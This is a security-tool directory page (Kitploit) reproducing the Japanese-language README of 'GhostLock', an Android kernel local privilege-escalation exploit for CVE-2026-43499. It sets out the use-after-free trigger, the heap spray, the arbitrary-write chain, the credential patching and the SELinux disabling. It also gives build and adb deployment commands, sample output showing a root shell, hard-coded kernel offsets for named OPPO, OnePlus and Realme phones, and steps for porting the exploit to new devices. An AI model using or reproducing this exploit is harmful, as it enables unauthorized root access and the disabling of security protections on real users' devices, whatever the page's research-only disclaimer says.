Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
GhostLock — CVE-2026-43499 futex PI スタック UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ?????? | Kitploit
ツール/GitHubGitHub/wzhdgithub/ghostlock
Androidセキュリティ特権昇格脆弱性分析エクスプロイトリバースエンジニアリングバイナリエクスプロイト
GitHubwzhdgithub/ghostlock

GhostLock

CVE-2026-43499 futex PI スタック UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????

リポジトリを見る
37日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

GhostLock - CVE-2026-43499 ローカル権限昇格エクスプロイト

脆弱性の概要

CVE 番号: CVE-2026-43499
脆弱性タイプ: futex PI(優先度継承)スタック UAF(Use-After-Free)
影響範囲: Linux カーネル 6.1 ~ 6.12(Android GKI)
利用効果: ローカル権限昇格 + SELinux 無効化、root シェル取得

動作原理

脆弱性トリガーパス

root@kitploit:~
用户空间 → pselect() → 内核栈上分配 rt_mutex_waiter
                      → futex PI 操作触发 waiter 释放
                      → 释放后的 waiter 内存被 fd_set 操作重用
                      → 通过精心构造的 fd_set 数据控制 waiter 字段
                      → rb_erase() 触发任意内核内存写入

エクスプロイトチェーン

  1. 脆弱性トリガー: pselect() + futex PI の競合により、カーネルスタック上の rt_mutex_waiter を解放する
  2. メモリレイアウト制御: pipe_buffer でカーネルヒープをスプレーし、偽の rt_mutex_waiter を構築する
  3. 任意書き込み: rb_erase() のツリー操作を利用して、制御したポインタを対象アドレスに書き込む
  4. 権限昇格パス:
    • cred 構造体の変更:uid/gid → 0、capabilities → すべて有効化
    • SELinux の無効化:selinux_state.enforcing → 0
  5. 検証: ashmem_fops を再スキャンして CFI の整合性を確認する

プロジェクト構成

root@kitploit:~
GhostLock/
├── README.md                    # 本文档
├── src/
│   ├── core/                    # 核心利用代码
│   │   ├── main.c               # 主入口,漏洞触发
│   │   ├── pipe.c               # pipe_buffer 喷射
│   │   ├── fops.c               # 文件操作劫持
│   │   ├── root.c               # 提权 + SELinux 禁用
│   │   ├── slide.c              # 内核地址随机化处理
│   │   ├── util.c               # 工具函数
│   │   ├── miniadb.c            # 迷你 ADB 服务器
│   │   ├── common.h             # 公共定义
│   │   ├── target.h             # 目标配置
│   │   ├── offset.h             # 偏移量包含
│   │   ├── runtime_offsets.h    # 运行时偏移表
│   │   └── kernelsnitch/        # 内核地址探测
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # 设备适配
│       ├── offsets.h            # 偏移量结构定义
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # 辅助工具
│   └── extract_btf.py           # BTF 偏移量提取脚本
├── btf_*.py                     # BTF 分析脚本集合
├── Makefile                     # 构建脚本
├── compile.cmd                  # Windows 编译脚本
├── build.rsp                    # 编译响应文件
└── ghostlock                    # 编译产物(ELF aarch64)

対応デバイス

ビルド

環境要件

  • Android NDK r27c 以降
  • Python 3.x(BTF 解析用)
  • Linux/macOS/WSL(推奨:Linux)

ビルド手順

root@kitploit:~
# 1. 设置 NDK 路径
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. 编译
make

# 3. 或者直接使用 NDK 编译
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Windows でのビルド

root@kitploit:~
# 使用提供的 compile.cmd
compile.cmd

使用方法

前提条件

  1. スマートフォンで USB デバッグが有効になっていること
  2. PC に ADB ドライバがインストールされていること
  3. スマートフォンが USB で PC に接続されていること

手順

root@kitploit:~
# 1. 确认设备连接
adb devices

# 2. 确认内核版本(必须匹配)
adb shell uname -r
# 期望输出: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. 推送 exploit 到手机
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. 运行 exploit
adb shell /data/local/tmp/ghostlock

実行出力例

root@kitploit:~
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

成功の判定基準

  • # プロンプトが表示される(root シェル)
  • id コマンドで uid=0(root) と表示される
  • getenforce が Permissive を返す

技術的詳細

カーネルメモリレイアウト

root@kitploit:~
KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

主要シンボルオフセット(Find X8)

構造体オフセット(BTF 検証)

エクスプロイトパス

  1. kernelsnitch - direct_map 領域をスキャンして mm_struct を特定する
  2. pipe spray - pipe_buffer で解放された waiter のメモリを占有する
  3. pselect trigger - UAF をトリガーし、解放された waiter を再利用する
  4. rb_erase write - 赤黒木操作による任意書き込みを実現する
  5. cred patch - 現在のプロセスの資格情報を改ざんする
  6. SELinux disable - 強制アクセス制御を無効化する

デバイス対応

新規デバイスの追加

  1. カーネルイメージの抽出:

    root@kitploit:~
    # 从手机提取 boot.img
    adb pull /dev/block/by-name/boot boot.img
    
    # 或者从固件包中提取
    
  2. kallsyms の抽出:

    root@kitploit:~
    # 使用 vmlinux-to-elf
    python3 -m vmlinux_to_elf boot.img
    # 选择 "Extract kallsyms" 选项
    
  3. BTF 情報の抽出:

    root@kitploit:~
    python3 btf_task2.py > task_full.txt
    python3 btf_structs2.py > structs.txt
    
  4. デバイスエントリの作成:

    root@kitploit:~
    mkdir -p src/devices/mydevice
    # 复制现有条目作为模板
    cp src/devices/findx8/offsets.h src/devices/mydevice/
    # 修改偏移量
    
  5. デバイスの登録: src/devices/offsets.h に以下を追加:

    root@kitploit:~
    #include "mydevice/offsets.h"
    

オフセットの取得方法

情報

ツールスクリプト

BTF 解析スクリプト

root@kitploit:~
# 提取 task_struct 完整成员
python3 btf_task2.py > task_full.txt

# 提取所有关键结构体
python3 btf_structs2.py > structs.txt

# 提取特定结构体
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# 提取原始 BTF 数据
python3 btf_raw.py > raw.txt

kallsyms の抽出

root@kitploit:~
# 使用 vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# 或者使用自定义脚本
python3 run_kallsyms_finder.py

セキュリティに関する注意

⚠️ 警告: 本ツールはセキュリティ研究および許可を得たテスト専用です。許可なく他人のデバイスで使用することは違法行為となります。

既知の制限

  • USB デバッグが有効である必要があります
  • ADB 接続が必要です(リモートからの利用は不可)
  • カーネルバージョンが正確に一致している必要があります
  • 一部のデバイスには追加のセキュリティ機構が存在する場合があります

CFI 保護

本エクスプロイトは、以下の方法でカーネルの Control Flow Integrity (CFI) 保護を回避できます:

  1. ashmem_fops アドレスの有効性を検証する
  2. copy_splice_read を正当な呼び出し先として使用する
  3. 再スキャンして CFI の整合性を確認する

デバッグ

よくある質問

Q: "no offsets for kernel: xxx" と表示される A: カーネルバージョンが未対応です。デバイスエントリを追加する必要があります

Q: exploit がハングして動かない A: 競合状態の失敗が考えられます。数回再試行してください

Q: kernel panic が発生する A: 可能性は低いです(panic_on_oops は未設定)。ただし、dmesg で確認できます

デバッグ出力

root@kitploit:~
# 启用详细输出
adb shell /data/local/tmp/ghostlock -v

# 查看内核日志
adb shell dmesg | tail -50

関連リソース

  • CVE-2026-43499 の詳細
  • GhostLock の元研究
  • Android GKI カーネル

ライセンス

本プロジェクトは MIT ライセンス を採用しています。

謝辞

  • すべてのセキュリティ研究者の方々の貢献に感謝します
  • Android セキュリティチームの対応に感謝します
  • オープンソースコミュニティの支援に感謝します

最終更新: 2026年8月13日
著者: wzh
連絡先: [email protected]

ツールをダウンロード
デバイスカーネルバージョンステータス
OPPO Find X8 (MT6991)6.6.118-android15✅ 対応済み
OnePlus Ace 6T6.1.x✅ 検証済み
OnePlus 156.1.x✅ 検証済み
OnePlus Pad 26.1.x✅ 検証済み
Realme RMX50706.1.x✅ 検証済み
シンボルオフセット
init_task0x0211E280
init_cred0x02130748
selinux_enforcing0x02358EE0
ashmem_misc0x0227C518
ashmem_fops0x012EF5C0
kmalloc_caches0x0167A298
構造体フィールドオフセット
task_structcred0x820
task_structreal_cred0x818
task_structtasks0x550
task_structpi_lock0x90C
task_structseccomp0x8E8
creduid0x08
credcaps0x30
file_operationsioctl0x48
file_operationssplice_read0xB8
取得元
ツール
シンボルアドレスkallsymsvmlinux-to-elf
構造体オフセットBTFbtf_task2.py
物理メモリレイアウトIKCONFIGextract-ikconfig
カーネルバージョンunameadb shell uname -r